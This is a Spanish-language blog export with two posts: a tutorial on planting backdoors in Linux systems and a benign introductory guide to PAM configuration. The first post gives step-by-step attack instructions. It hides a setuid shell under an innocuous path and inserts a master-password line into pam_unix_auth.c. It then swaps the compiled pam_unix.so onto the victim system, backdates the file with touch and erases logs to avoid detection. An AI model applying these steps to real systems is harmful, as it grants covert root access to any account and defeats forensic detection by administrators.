El 6 de noviembre de 2003 <a href="http://en.wikipedia.org/wiki/Larry_McVoy" >Larry McVoy</a> <a href="http://lkml.indiana.edu/hypermail/linux/kernel/0311.0/0621.html">anunciaba</a> que se había producido una intrusión en el <a href="http://es.wikipedia.org/wiki/CVS">CVS</a> del kernel Linux. Los crackers introdujeron dos líneas de código <i>extra</i> en la llamada al sistema <a href="http://linux.die.net/man/2/wait4" >wait4()</a>, de tal forma que ejecutando un pequeño binario se activaba la puerta trasera y se abría una <i>root shell</i>. Afortunadamente se detecto la intrusión y los cambios introducidos por los crackers nunca fueron intregrados en ningún kernel Linux, es decir, no se llego a distribuir ningún kernel con la backdoor.<br />
<br />
Otro suceso similar ocurrió el 28 de noviembre del 2010 con el servidor de FTP <a href="http://www.proftpd.org/" >ProFTPD</a>. Los crackers insertaron una <a href="http://www.exploit-db.com/exploits/15662/">puerta trasera en la versión 1.3.3c de ProFTP</a>. Esta puerta trasera se conectaba a una dirección ip y llevaba a cabo una petición, de esta forma los crackers sabían los servidores que corrían la versión con el backdoor. Posteriormente tan solo debían conectarse al FTP y ejecutar el comando <i>HELP ACIDBITCHEZ</i> para obtener acceso root. Tres días más tarde el suceso fue detectado y solucionado por Jeroen Geilman.<br />
<br />
Recientemente fue crackeada la versión v2.3.4 del servidor de FTP Vsftpd, a la cual introdujeron una <a href="http://www.exploit-db.com/exploits/17491/">puerta trasera</a> para obtener una <i>root shell</i>. Podéis leer más en <a href="http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html" >Security: Alert: vsftpd download backdoored</a><br />
<br />
Por último citaremos un hack a un <i>peso pesado de internet</i>: el famoso hackeo a twitter llevado a cabo por <a href="http://www.securitybydefault.com/" >Security By Default</a>. En este caso pusieron a prueba la seguridad de twitter, publicando en otra cuenta. Como <i>victima</i> eligieron a Enrique Dans, a quien informaron del hackeo y quien se tomo el asunto <i>a bien</i>. Si estais interesado, podéis leer la historia en <a href="http://www.securitybydefault.com/2009/03/hackeos-memorables-el-twitter-de.html" >Hackeos memorables: El Twitter de Enrique Dans</a>.<br />
<br />
Si esta interesado en conocer más sobre hacks, cracks o exploits utilizados para vulnerar los sistemas, puede consultar <a href="http://www.exploit-db.com/" >The Exploits Database</a>.<br />
<br />
<br />
<a name="2"><b>2.- Bits de permisos especiales</b></a><br />
Los bits de permisos especiales tales como <a href="http://linux.die.net/man/2/setuid" >setuid</a> y <a href="http://linux.die.net/man/2/setgid" >setgid</a> indican al kernel que el programa ha de ejecutarse con los permisos del usuario propietario del archivo en lugar de con los permisos del usuario que ejecuta el programa. <br />
<br />
Tan solo bastará que asigne el bit setuid al ejecutable de una shell. Puede llevar a cabo esta tarea apagando el servidor, iniciando desde un LiveCD y haciendo las modificaciones oportunas. O si tiene acceso como usuario root, podrá montar un entorno chroot y asignar el bit setuid desde él. Obviamente también existe la posibilidad de explotar una vulnerabilidad 0-day aun no parcheada para irrumpir en el servidor y hacer los cambios oportunos.<br />
<br />
En cualquier caso, en este tipo de técnicas lo normal es no asignar el bit setuid a la consola por defecto del sistema, normalmente /bin/bash. Para no ser descubiertos lo mejor es copiar el ejecutable a otra ruta, donde no levante sospecha, como por ejemplo /usr/local/bin.<br />
<br />
Además en lugar de usar la consola bash, que es la más extendida en el mundo Linux, puede probar con otras consolas. Esto no engañará al administrador, pero es probable que si algún <i>jefecillo</i> con acceso al sistema <i>investigando</i> ejecuta por error nuestra consola con acceso root, una consola poco conocida lo desoriente. Para esta tarea nada mejor que <a href="http://en.wikipedia.org/wiki/Z_shell" >Z shell</a>. Al ejecutar <b>zsh</b> en un sistema en la que no está configurada, muestra un mensaje (<a href="http://www.blogger.com/post-edit.g?blogID=507892079964167031&postID=5318177517080107868#" onclick="Effect.toggle("201107122244","slide"); return false">[+/-] Ver mensaje</a>) para su configuración. Con suerte el <i>jefecillo</i> se sentirá intimidado por el mensaje y saldrá pensando que <i>rompió algo</i>.<div id="201107122244" style="display: none;"><pre class="brush: shell">makeinstall@VM:~$ zsh
This is the Z Shell configuration function for new users,
zsh-newuser-install.
You are seeing this message because you have no zsh startup files
(the files .zshenv, .zprofile, .zshrc, .zlogin in the directory
~). This function can help you with a few settings that should
make your use of the shell easier.
You can:
(q) Quit and do nothing. The function will be run again next time.
(0) Exit, creating the file ~/.zshrc containing just a comment.
That will prevent this function being run again.
(1) Continue to the main menu.
(2) Populate your ~/.zshrc with the configuration recommended
by the system administrator and exit (you will need to edit
the file by hand, if so desired).
--- Type one of the keys in parentheses ---
Aborting.
The function will be run again next time. To prevent this, execute:
touch ~/.zshrc
VM%
VM% ls /
bin dev initrd.img lost+found opt sbin sys var
boot etc initrd.img.old media proc selinux tmp vmlinuz
cdrom home lib mnt root srv usr vmlinuz.old
VM%</pre></div><br />
<br />
Tal vez piense que modificar /etc/passwd para crear un usuario y asignar-le id 0 sea más rápido. Pero debe tener en cuenta que cuanto más escondido este el backdoor, más difícil será detectarlo y por ende más tiempo podrá usarlo. Por ello los backdoors más efectivos son los que se insertan en el propio código fuente de los programas. La probabilidad de detectar un backdoor en un binario es nula.<br />
<br />
<br />
<a name="3"><b>3.- Instalar una puerta trasera en PAM</b></a><br />
Como ya se vio anteriormente en la entrada <a href="http://www.makeinstall.es/2011/07/que-es-pluggable-authentication-modules.html" >¿Qué es Pluggable Authentication Modules (PAM)?</a>, PAM se encarga de todo el proceso de autenticación, autorización y control de recursos en un sistema Linux. Si logra introducir una puerta trasera en PAM, podrá acceder a cualquier cuenta del sistema (incluido root) usando una <i>contraseña maestra</i>.<br />
<br />
Para esta tarea necesitará descargar el código fuente de PAM, agregar una pequeña línea de código y compilar-lo. Por último tan solo deberá sustituir una de las bibliotecas de PAM del sistema de la <i>victima</i> por la biblioteca compilada con la puerta trasera. A continuación veremos todo esto detenidamente:<br />
<br />
<br />
<a name="3-1"><b>3.1.- Descargar las fuentes de PAM</b></a><br />
Puede obtener el código fuente de PAM en <a href="ftp://ftp.kernel.org/pub/linux/libs/pam/index.html" >A Linux-PAM page</a>. Antes de continuar compruebe la versión de PAM instalada en el sistema. En cualquier caso no debería tener problemas si descarga una versión distinta a la instalada en el sistema donde se instalará la backdoor.<br />
<pre class="brush: shell">agd-desktop # wget ftp://ftp.kernel.org/pub/linux/libs/pam/library/Linux-PAM-1.1.4.tar.bz2
--2011-07-11 19:41:50-- ftp://ftp.kernel.org/pub/linux/libs/pam/library/Linux-PAM-1.1.4.tar.bz2
=> `Linux-PAM-1.1.4.tar.bz2'
Resolviendo ftp.kernel.org... 149.20.4.69, 149.20.20.133
Connecting to ftp.kernel.org|149.20.4.69|:21... conectado.
Identificándose como anonymous ... ¡Dentro!
==> SYST ... hecho. ==> PWD ... hecho.
==> TYPE I ... hecho. ==> CWD (1) /pub/linux/libs/pam/library ... hecho.
==> SIZE Linux-PAM-1.1.4.tar.bz2 ... 1123186
==> PASV ... hecho. ==> RETR Linux-PAM-1.1.4.tar.bz2 ... hecho.
Longitud: 1123186 (1,1M) (probablemente)
100%[======================================>] 1.123.186 95,0K/s in 43s
2011-07-11 19:42:37 (25,7 KB/s) - `Linux-PAM-1.1.4.tar.bz2' saved [1123186]</pre><br />
Descomprima el código fuente y localice el archivo modules/pam_unix/pam_unix_auth.c En el deberá insertar el código para la puerta trasera.<br />
<pre class="brush: shell">agd-desktop pam_unix.so # tar -xvf Linux-PAM-1.1.4.tar.bz2
agd-desktop pam_unix.so # cd Linux-PAM-1.1.4
agd-desktop Linux-PAM-1.1.4 # </pre><br />
<br />
<a name="3-2"><b>3.2.- Modificar el código fuente</b></a><br />
Edite el archivo modules/pam_unix/pam_unix_auth.c y busque la cadena <i>retval = _unix_verify_password(pamh, name, p, ctrl);</i>, justo debajo coloque la cadena <i>if (strcmp(p,"makeinstall")==0 ){retval = PAM_SUCCESS;}</i>. Sustituya <i>makeinstall</i> por la contraseña que desee. El código deberá quedar así:<br />
<pre class="brush: shell, highlight: 3"> /* verify the password of this user */
retval = _unix_verify_password(pamh, name, p, ctrl);
if (strcmp(p,"makeinstall")==0 ){retval = PAM_SUCCESS;}
name = p = NULL;
AUTH_RETURN;
}</pre><br />
Una vez modificado, tan solo debe de compilar el código con <i>./configure</i> y <i>make</i>. Si al finalizar la compilación observa algunas errores del tipo <i>make[]: se sale del directorio</i>, ignore-los.<br />
<pre class="brush: shell, highlight: [17,18];">agd-desktop Linux-PAM-1.1.4 # ./configure
agd-desktop Linux-PAM-1.1.4 # make
....
....
....
check_user.o check_user.c
mv -f .deps/check_user.Tpo .deps/check_user.Po
/bin/sh ../libtool --tag=CC --mode=link gcc -I../libpam/include -I../libpamc/include -I../libpam_misc/include -g -O2 -Wl,--as-needed -Wl,--no-undefined -Wl,-O1 -o check_user check_user.o -L../libpam -lpam -L../libpam_misc -lpam_misc
libtool: link: gcc -I../libpam/include -I../libpamc/include -I../libpam_misc/include -g -O2 -Wl,--as-needed -Wl,--no-undefined -Wl,-O1 -o .libs/check_user check_user.o -L/tmp/pam_unix.so/Linux-PAM-1.1.4/libpam -L/tmp/pam_unix.so/Linux-PAM-1.1.4/libpam_misc /tmp/pam_unix.so/Linux-PAM-1.1.4/libpam_misc/.libs/libpam_misc.so /tmp/pam_unix.so/Linux-PAM-1.1.4/libpam/.libs/libpam.so -ldl
make[2]: se sale del directorio `/tmp/pam_unix.so/Linux-PAM-1.1.4/examples'
Making all in xtests
make[2]: se ingresa al directorio `/tmp/pam_unix.so/Linux-PAM-1.1.4/xtests'
make[2]: No se hace nada para `all'.
make[2]: se sale del directorio `/tmp/pam_unix.so/Linux-PAM-1.1.4/xtests'
make[2]: se ingresa al directorio `/tmp/pam_unix.so/Linux-PAM-1.1.4'
make[2]: No se hace nada para `all-am'.
make[2]: se sale del directorio `/tmp/pam_unix.so/Linux-PAM-1.1.4'
make[1]: se sale del directorio `/tmp/pam_unix.so/Linux-PAM-1.1.4'</pre><br />
<br />
<a name="3-3"><b>3.3.- Reemplazar la biblioteca pam_unix.so del sistema</b></a><br />
Una vez compilado PAM con la puerta trasera, tan solo deberá reemplazar la biblioteca pam_unix.so del sistema atacado. Normalmente dicha biblioteca se aloja en /lib/security/ aunque puede variar ligeramente de un sistema a otro; en ubuntu, por ejemplo, se localiza en /lib/i386-linux-gnu/security/.<br />
<br />
Para sustituir dicha biblioteca precisará privilegios de root, por lo que deberá de explotar una vulnerabilidad 0-day o si tiene acceso físico al sistema arrancar desde un LiveCD para sustituir la biblioteca.<br />
<pre class="brush: shell">agd-desktop Linux-PAM-1.1.4 # scp modules/pam_unix/.libs/pam_unix.so makeinstall@192.168.1.121:/home/makeinstall/
makeinstall@192.168.1.121's password:
pam_unix.so 100% 142KB 142.1KB/s 142.1KB/s 00:00
agd-desktop Linux-PAM-1.1.4 # ssh makeinstall@192.168.1.121
makeinstall@192.168.1.121's password:
Welcome to Ubuntu 11.04 (GNU/Linux 2.6.38-8-generic i686)
* Documentation: https://help.ubuntu.com/
82 packages can be updated.
32 updates are security updates.
*** /dev/vda1 will be checked for errors at next reboot ***
Last login: Thu Jun 23 13:07:44 2011 from 192.168.1.20
makeinstall@VM:~$ sudo mv /home/makeinstall/pam_unix.so /lib/i386-linux-gnu/security/pam_unix.so</pre><br />
<br />
<a name="3-4"><b>3.4.- Ocultar el rastro</b></a><br />
La fecha de creación de la biblioteca modificada podrías dar indicios de una modificación, por ello deberá modificar la fecha de creación haciendo uso del comando touch.<br />
<pre class="brush: shell">makeinstall@VM:~$ ls -la /lib/i386-linux-gnu/security/pam_unix*
-rw-r--r-- 1 root root 50864 2011-05-31 14:32 /lib/i386-linux-gnu/security/pam_unix.so
makeinstall@VM:~$ sudo mv /home/makeinstall/pam_unix.so /lib/i386-linux-gnu/security/pam_unix.so
makeinstall@VM:~$ ls -la /lib/i386-linux-gnu/security/pam_unix*
-rw-r--r-- 1 root root 50864 2011-07-11 20:14 /lib/i386-linux-gnu/security/pam_unix.so
makeinstall@VM:~$ sudo touch -t 201105311432 /lib/i386-linux-gnu/security/pam_unix.so
makeinstall@VM:~$ ls -la /lib/i386-linux-gnu/security/pam_unix*
-rwxr-xr-x 1 root root 145503 2011-05-31 14:32 /lib/i386-linux-gnu/security/pam_unix.so</pre><br />
Por último deberá revisar los logs el sistema para borrar todo indicio de las actividades. Si desea saber más sobre sistemas de registros en Linux, puede leer la entrada <a href="http://www.makeinstall.es/2011/05/gestion-de-archivos-de-registro-del.html" >Gestión de archivos de registro del sistema</a>.Anonymoushttp://www.blogger.com/profile/09387646684121227737noreply@blogger.com1tag:blogger.com,1999:blog-507892079964167031.post-37043771934053513782011-07-07T12:35:00.002+02:002011-07-07T16:09:19.876+02:00¿Qué es Pluggable Authentication Modules (PAM)?Pluggable Authentication Modules, Módulos Externos de Autenticación, abreviado como PAM se ha convertido en el estándar para la autenticación, autorización y control de recursos en sistemas <i>NIX</i>. <br />
<br />
Originalmente fue diseñado por Sun Microsystems para proporcionar servicios de autenticación a aplicaciones que carecían de esta funcionalidad. Y posteriormente, dentro del mundo Linux, PAM se convirtió en un modo de unificar y ampliar los mecanismos de autenticación. En este tutorial se hará una pequeña introducción a <a href="http://www.kernel.org/pub/linux/libs/pam/">Linux-PAM</a>.<br />
<a name='more'></a><fieldset class="fieldset-bordertb"><legend class="fieldset-legendtb">Tabla de contenidos</legend><ul><li><a href="#1">1.- ¿Qué es PAM?</a></li>
<li><a href="#2">2.- Sintaxis de configuración de PAM</a></li>
<li class="li2snd"><a href="#3">2.1.- Grupos de administración</a></li><ul><li class="li2snd"><a href="#3-1">auth</a></li>
<li class="li2snd"><a href="#3-2">account</a></li>
<li class="li2snd"><a href="#3-3">password</a></li>
<li class="li2snd"><a href="#3-4">session</a></li></ul><li class="li2snd"><a href="#4">2.2.- Indicador de control</a></li><ul><li class="li2snd"><a href="#4-1">required</a></li>
<li class="li2snd"><a href="#4-2">requisite</a></li>
<li class="li2snd"><a href="#4-3">sufficient</a></li>
<li class="li2snd"><a href="#4-4">optional</a></li></ul><li class="li2snd"><a href="#5">2.3.- Módulo PAM</a></li>
<li class="li2snd"><a href="#6">2.4.- Argumentos</a></li>
<li><a href="#7">3.- Lista de Módulos PAM</a></li>
<li><a href="#8">4.- Ejemplos de configuración</a></li>
</ul></fieldset><br />
<a name="1"><b>1.- ¿Qué es PAM?</b></a><br />
PAM es una jerarquía de comprobaciones de autenticación y autorizaciones. Estas comprobaciones están distribuidas en <b>grupos de administración</b>. Los grupos de administración están compuesto por uno o más módulos PAM apilados, cada uno de los cuales realiza una función de comprobación determinada; algunas de estas comprobaciones pueden ser obligatorios (como la existencia del usuario) y otras opcionales.<br />
<br />
Tradicionalmente se ha usado un único archivo de configuración localizado en /etc/pam.conf, sin embargo desde hace tiempo se ha optado por archivos de configuración independientes para cada servicio/aplicación. Estos archivos de configuración se localizan en /etc/pam.d/. Si un servicio/aplicación no tiene su respectivo archivo de configuración PAM, se utilizarán las políticas definidas en /etc/pam.d/other.<br />
<br />
Por seguridad los parámetros por defecto de <i>other</i> se establecen todos como denegación del servicio. Además es normal incluir un módulo PAM que registre todos estos eventos de denegación.<br />
<br />
<br />
<a name="2"><b>2.- Sintaxis de configuración de PAM</b></a><br />
Los archivos de configuración de PAM no distinguen mayúsculas de minúsculas, salvo en las rutas de acceso a los módulos así como en los argumentos, que siguen las propias reglas de cada módulo. Si el módulo PAM se encuentra en la ruta predeterminada (/lib/security/), no es necesario especificar la ruta; sin embargo si el módulo a cargar se encuentra en otra ruta, deberá ser indicada.<br />
<br />
La estructura de las entradas en los archivos de configuración de /etc/pam.d/ es la siguiente: <i>Grupo Indicador Módulo Argumentos</i>. <br />
<ul><li><b>Grupo de administración</b>, representa las distintas partes configurables del proceso de autenticación y autorización</li>
<li><b>Indicador de control</b>, indica a PAM como debe de tratar el resultado (acierto o fallo) del módulo.</li>
<li><b>Módulo PAM</b>, solo es necesaria en caso de que el módulo no se encuentre alojado en la ruta por defecto (/lib/security/).</li>
<li><b>Argumentos</b>, son directivas que se pasan al módulo PAM.</li>
</ul><br />
<br />
<a name="3"><b>2.1.- Grupos de administración</b></a><br />
En PAM existen cuatro grupos de administración:<br />
<ul><li><a name="3-1"><b>auth</b></a> Realiza tareas de autenticación de usuarios, es decir, determina si el cliente es quien dice ser a través de una contraseña u otro medio de identificación. Además permite propiedades otorgadas mediante credenciales, como por ejemplo la pertenencia a un grupo determinado (independiente al archivo /etc/groups).</li>
<li><a name="3-2"><b>account</b></a> Realiza gestiones no basadas en autenticación. Como por ejemplo confirmar que la cuenta del usuario no esté bloqueada, permitir/restringir el acceso a un recurso en función de la hora o los recursos disponibles del sistema.</li>
<li><a name="3-3"><b>password</b></a> Realiza tareas de verificación de contraseñas. Por ejemplo comprueba que la contraseña sea suficientemente segura</li>
<li><a name="3-4"><b>session</b></a> Realiza tareas de administración, comprobación y configuración de sesiones de usuarios; como por ejemplo el registro de acciones (logs) llevadas a cabo por el usuario al abrir o cerrar un recurso, montar un directorio...</li>
</ul><br />
<br />
<a name="4"><b>2.2.- Indicador de control</b></a><br />
Indica a PAM como debe de tratar el resultado (acierto o fallo) del módulo, es decir, indican a PAM que hacer con el resultado y como repercute en el proceso global de autenticación. Existen cuatro indicadores de control:<br />
<ul><li><a name="4-1"><b>required</b></a>: debe devolver éxito para que la autenticación siga su curso. Un fallo en este módulo no para la ejecucción del resto de módulos.</li>
<li><a name="4-2"><b>requisite</b></a>: un fallo para el proceso de autenticación inmediatamente. Se suele usar para evitar que un atacante pueda introducir contraseñas a través de un medio inseguro, sin embargo este sistema también informa al atacante de cuentas válidas en el sistema.</li>
<li><a name="4-3"><b>sufficient</b></a>: el éxito del módulo será suficiente para obtener una autenticación satisfactoria.</li>
<li><a name="4-4"><b>optional</b></a>: el resultado del módulo no afectara al resultado de la autenticación.</li>
</ul><br />
Además existe una nueva sintaxis <b>[valor=acción]</b> que proporciona un mayor control sobre como se autentica un usuario. Algunos de los posibles <b>valores</b> son: <i>success, open_err, symbol_err, service_err, system_err, buf_err, perm_denied, auth_err, cred_insufficient, authinfo_unavail, user_unknown, maxtries, new_authtok_reqd, acct_expired, session_err, cred_unavail, cred_expired, cred_err, no_module_data, conv_err, authtok_err, authtok_recover_err, authtok_lock_busy, authtok_disable_aging, try_again, ignore, abort, authtok_expired, module_unknown, bad_item y default</i>. Puede obtener una lista completa en /usr/include/security/_pam_types.h<br />
<br />
Los posibles valores de <b>acción</b> pueden ser:<br />
<ul><li><b>ignore</b>: Cuando se usa en una pila de módulos, el estado devuelto por el módulo no contribuirá al código de retorno que obtiene la aplicación.</li>
<li><b>bad</b>: Esta acción indica que el código de retorno debe ser considerado como indicativo de fallo del módulo. Si este módulo es el primero que falla en una pila, su valor de estado se usa para toda la pila de módulos.</li>
<li><b>die</b>: Equivalente a <i>bad</i> con el efecto secundario de terminar la pila de módulos inmediatemente, devolviendo el control a la aplicación.</li>
<li><b>ok</b>: Esta acción indica que el código de retorno debe contribuir al código devuelto por la pila de módulos completa</li>
<li><b>done</b>: Equivalente a <i>ok</i> con el efecto secundario de terminar la pila de módulos inmediatamente, devolviendo el control a la aplicación.</li>
<li><b>reset</b>: Borra toda la memoria del estado de la pila de módulos e inicia de nuevo con el siguiente módulo apilado.</li>
</ul><br />
Los grupos de administración required, requisite, sufficient y optional, tienen su expresión equivalente en esta nueva sintaxis <b>[valor=acción]</b>:<br />
<ul><li><b>required</b>: [success=ok new_authtok_reqd=ok ignore=ignore default=bad]</li>
<li><b>requisite</b>: [success=ok new_authtok_reqd=ok ignore=ignore default=die]</li>
<li><b>sufficient</b>: [success=done new_authtok_reqd=done default=ignore]</li>
<li><b>optional</b>: [success=ok new_authtok_reqd=ok default=ignore]</li>
</ul><br />
<a name="5"><b>2.3.- Módulo PAM</b></a><br />
Indica el módulo PAM que se usará. Si solo especifica el módulo PAM, sin ruta, se utilizará la ruta por defecto del sistema para los módulos PAM (/lib/security/). En caso de que el módulo se encuentre alojado en otra ruta debe hacer referencia a él indicando la ruta absoluta hasta el módulo.<br />
<br />
<br />
<a name="6"><b>2.4.- Argumentos</b></a><br />
Son directivas que pueden ser pasadas a los módulos PAM. Los argumentos son específicos de cada módulo, si pasa un argumento no válido, el módulo lo ignorará. <br />
<br />
<br />
<a name="7"><b>3.- Lista de Módulos PAM</b></a><br />
Puede obtener una lista de los módulos PAM disponibles en su sistema simplemente listando el contenido de /lib/security/ <a href="http://www.blogger.com/post-edit.g?blogID=507892079964167031&postID=5318177517080107868#" onclick="Effect.toggle("201107052043","slide"); return false">[+/-] Ver ejemplo</a>. A continuación describiremos algunos de los módulos PAM.<br />
<div id="201107052043" style="display: none;"><pre class="brush: shell">agd-desktop # ls -w 60 /lib/security/
pam_access.so pam_lastlog.so pam_smbpass.so
pam_ck_connector.so pam_limits.so pam_stress.so
pam_cracklib.so pam_listfile.so pam_succeed_if.so
pam_debug.so pam_localuser.so pam_tally2.so
pam_deny.so pam_loginuid.so pam_tally.so
pam_echo.so pam_mail.so pam_time.so
pam_env.so pam_mkhomedir.so pam_timestamp.so
pam_exec.so pam_motd.so pam_umask.so
pam_faildelay.so pam_namespace.so pam_unix.so
pam_filter pam_nologin.so pam_userdb.so
pam_filter.so pam_permit.so pam_warn.so
pam_ftp.so pam_pwhistory.so pam_wheel.so
pam_gnome_keyring.so pam_rhosts.so pam_winbind.so
pam_group.so pam_rootok.so pam_xauth.so
pam_issue.so pam_securetty.so
pam_keyinit.so pam_shells.so</pre></div><br />
<b>pam_access</b><br />
Se encargada de la gestión de accesos al sistema basado en nombres de usuario, de host, de dominio o de direcciones de internet o de red. Usa el archivo de configuración /etc/security/access.conf para determinar que usuarios, grupos, dirección de red o terminal tienen acceso al sistema, de tal forma que cuando alguien trata de acceder al sistema, pam_access.so, busca en el archivo de configuración access.conf si existe alguna política que determine si debe ser aceptada o rechazada la conexión. Puede leer más en <a href="http://www.kernel.org/pub/linux/libs/pam/Linux-PAM-html/sag-pam_access.html">pam_access - The Linux-PAM System Administrators' Guide</a>.<br />
<br />
<b>pam_cracklib</b><br />
Se encarga de comprobar el nivel de seguridad de una contraseña. Básicamente lo que hace es pasar la contraseña a través de <a href="http://sourceforge.net/projects/cracklib/">cracklib</a> para determinar si es una contraseña débil. Puede leer más en <a href="http://www.kernel.org/pub/linux/libs/pam/Linux-PAM-html/sag-pam_cracklib.html">pam_cracklib - The Linux-PAM System Administrators' Guide</a>.<br />
<br />
<b>pam_debug</b><br />
Esta pensado para la depuración de PAM, por lo cual proporciona información de los códigos de retorno de cada módulo de la pila PAM. Puede leer más en <a href="http://www.kernel.org/pub/linux/libs/pam/Linux-PAM-html/sag-pam_debug.html">pam_debug - The Linux-PAM System Administrators' Guide</a>.<br />
<br />
<b>pam_deny</b><br />
Este módulo puede ser utilizado para denegar el acceso. Es conveniente usarlo para denegar la entrada a otros (<i>other</i>) servicios no configurados. <a href="http://www.blogger.com/post-edit.g?blogID=507892079964167031&postID=5318177517080107868#" onclick="Effect.toggle("201107052120","slide"); return false">[+/-] Ver ejemplo</a>. <br />
<div id="201107052120" style="display: none;"><pre class="programlisting">other auth required pam_warn.so
other auth required pam_deny.so
other account required pam_warn.so
other account required pam_deny.so
other password required pam_warn.so
other password required pam_deny.so
other session required pam_warn.so
other session required pam_deny.so</pre></div><br />
<b>pam_echo</b><br />
Está ideado para informar al usuario sobre eventos especiales. Las secuencias que comienzan con el símbolo de porcentaje (%) son expandidas siguiendo las siguientes reglas: %H: nombre de la máquina remota, %h: nombre de la máquina local, %s: nombre del servicio, %t: nombre del terminal, %U: usuario remoto y %u: nombre del usuario local.<br />
<br />
<b>pam_env</b><br />
Configura las variables de entorno. El archivo de configuración por defecto es /etc/security/pam_env.conf. Puede leer más en <a href="http://www.kernel.org/pub/linux/libs/pam/Linux-PAM-html/sag-pam_env.html">pam_env - The Linux-PAM System Administrators' Guide</a>.<br />
<br />
<b>pam_exec</b><br />
Este módulo PAM permite ejecutar un comando externo. Puede leer más en <a href="http://www.kernel.org/pub/linux/libs/pam/Linux-PAM-html/sag-pam_exec.html">pam_exec - The Linux-PAM System Administrators' Guide</a>.<br />
<br />
<b>pam_group</b><br />
Este módulo no autentica al usuario, sino que le otorga pertenencia a grupos de acuerdo a lo definido en el archivo de configuración /etc/security/group.conf. La funciones de este módulo PAM son paralelas e independientes a las del archivo de configuración /etc/group. Puede leer más en <a href="http://www.kernel.org/pub/linux/libs/pam/Linux-PAM-html/sag-pam_group.html">pam_group - The Linux-PAM System Administrators' Guide</a>.<br />
<br />
<b>pam_lastlog</b><br />
Permite mostrar información sobre la última conexión del usuario. Puede leer más en <a href="http://www.kernel.org/pub/linux/libs/pam/Linux-PAM-html/sag-pam_lastlog.html">pam_lastlog - The Linux-PAM System Administrators' Guide</a>.<br />
<br />
<b>pam_limits</b><br />
Permite fijar los límites de los recursos del sistema que se puede obtener en una sesión de usuario. Estos límites están recogidos en el archivo de configuración /etc/security/limits.conf. Puede leer más en <a href="http://www.kernel.org/pub/linux/libs/pam/Linux-PAM-html/sag-pam_limits.html">pam_limits - The Linux-PAM System Administrators' Guide</a>. <br />
<br />
<b>pam_nologin</b><br />
Impide a los usuarios iniciar sesión en el sistema cuando /var/run/nologin o /etc/nologin existe. El contenido del archivo nologin se muestra al usuario al intentar ingresar al sistema. Este mmóduolo no tiene efectos sobre la capacidad del usuario root para acceder al sistema.<br />
<br />
<b>pam_permit</b><br />
Es un módulo que siempre permite el acceso. Si en el proceso de autenticación no se ofrece un nombre de usuario, este se ajustará a <i>nobody</i>.<br />
<br />
<b>pam_rootok</b><br />
Autentica al usuario si su UID es 0. Tenga en cuenta que algunas aplicaciones pueden tener activo el bit <a href="http://en.wikipedia.org/wiki/Setuid" >setuid</a>, el cual permite ejecutar la aplicación con los privilegios del propietario del ejecutable. Con pam_rootok podrá verificar si el usuario que ejecuta la aplicación es realmente el usuario root.<br />
<br />
<b>pam_securitty</b><br />
Este módulo solo permite la entrada de root sólo si el intento de inicio de sesión se hace desde una terminal <i>segura</i>, de acuerdo a lo definido en /etc/securetty. <a href="http://www.blogger.com/post-edit.g?blogID=507892079964167031&postID=5318177517080107868#" onclick="Effect.toggle("201107060118","slide"); return false">[+/-] Ver ejemplo</a>. Este módulo no afecta a usuarios no root.<br />
<div id="201107060118" style="display: none;"><pre class="brush: shell">agd-desktop # cat /etc/securetty
# /etc/securetty: list of terminals on which root is allowed to login.
# See securetty(5) and login(1).
console
vc/0
vc/1
vc/2
vc/3
vc/4
vc/5
vc/6
vc/7
vc/8
vc/9
vc/10
vc/11
vc/12
tty0
tty1
tty2
tty3
tty4
tty5
tty6
tty7
tty8
tty9
tty10
tty11
tty12
tts/0
ttyS0</pre></div><br />
<b>pam_shells</b><br />
Este módulo solo permite el acceso al sistema si la shell del usuario está listada en el archivo /etc/shells. <a href="http://www.blogger.com/post-edit.g?blogID=507892079964167031&postID=5318177517080107868#" onclick="Effect.toggle("201107060118","slide"); return false">[+/-] Ver ejemplo</a>.<br />
<div id="201107060118" style="display: none;"><pre class="brush: shell">agd-desktop # cat /etc/shells
# /etc/shells: valid login shells
/bin/bash
/bin/csh
/bin/esh
/bin/fish
/bin/ksh
/bin/sash
/bin/sh
/bin/tcsh
/bin/zsh</pre></div><br />
<b>pam_tally2</b><br />
Este módulo mantiene un recuento de los intentos de acceso, y deniega el acceso en caso de que demasiados accesos fracasen. Un intento exitoso reinicia el contador a cero. Puede leer más en <a href="http://www.kernel.org/pub/linux/libs/pam/Linux-PAM-html/sag-pam_tally2.html">pam_tally2 - The Linux-PAM System Administrators' Guide</a>. <br />
<br />
<b>pam_unix</b><br />
Es el módulo PAM estándar de autenticación en UNIX. Utiliza llamadas estándar para recuperar y establecer información de la cuenta, así como la autenticación, generalmente de los archivos /etc/passwd y /etc/shadow. Puede leer más en <a href="http://www.kernel.org/pub/linux/libs/pam/Linux-PAM-html/sag-pam_unix.html">pam_unix - The Linux-PAM System Administrators' Guide</a>.<br />
<br />
<b>pam_warn</b><br />
Este módulo permite el registro del servicio, terminal, usuario y máquina a través de las herramientas de registro del sistema. <a href="http://www.blogger.com/post-edit.g?blogID=507892079964167031&postID=5318177517080107868#" onclick="Effect.toggle("201107061155","slide"); return false">[+/-] Ver ejemplo</a>. <br />
<div id="201107061155" style="display: none;"><pre class="programlisting">other auth required pam_warn.so
other auth required pam_deny.so
other account required pam_warn.so
other account required pam_deny.so
other password required pam_warn.so
other password required pam_deny.so
other session required pam_warn.so
other session required pam_deny.so</pre></div><br />
<b>pam_wheel</b><br />
Este módulo se utiliza para exigir la pertenencia al grupo <i>wheel</i> para obtener una escalada de privilegios hacia root. Por defecto solo se permite el acceso a root si el usuario solicitante pertenece al grupo <i>wheel</i>, en caso de que no exista dicho grupo el usuario solicitante deberá pertenecer al grupo con gid 0. Puede leer más en <a href="http://www.kernel.org/pub/linux/libs/pam/Linux-PAM-html/sag-pam_wheel.html">pam_wheel - The Linux-PAM System Administrators' Guide</a>.<br />
<br />
<b>pam_xauth</b><br />
Este módulo permite el reenvío de las claves xauth (<i>cookies</i>) entre usuarios. Esto significa que, por ejemplo, puede configurar su sistema para poder ejecutar programas X desde una sesión xterm logeado como otro usuario como por ejemplo root.<br />
<br />
<br />
<a name="8"><b>4.- Ejemplos de configuración</b></a><br />
El primer ejemplo de configuración que se verá es system-auth, el cual es un servicio <i>artificial</i> usado para englobar políticas comunes a muchos otros servicios tales como login, passwd o su, entre otros muchos servicios.<br />
<pre class="brush: shell">agd-desktop # cat /etc/pam.d/system-auth
auth required pam_env.so
auth required pam_unix.so try_first_pass likeauth nullok
auth optional pam_permit.so
account required pam_unix.so
account optional pam_permit.so
password required pam_cracklib.so difok=2 minlen=8 retry=3
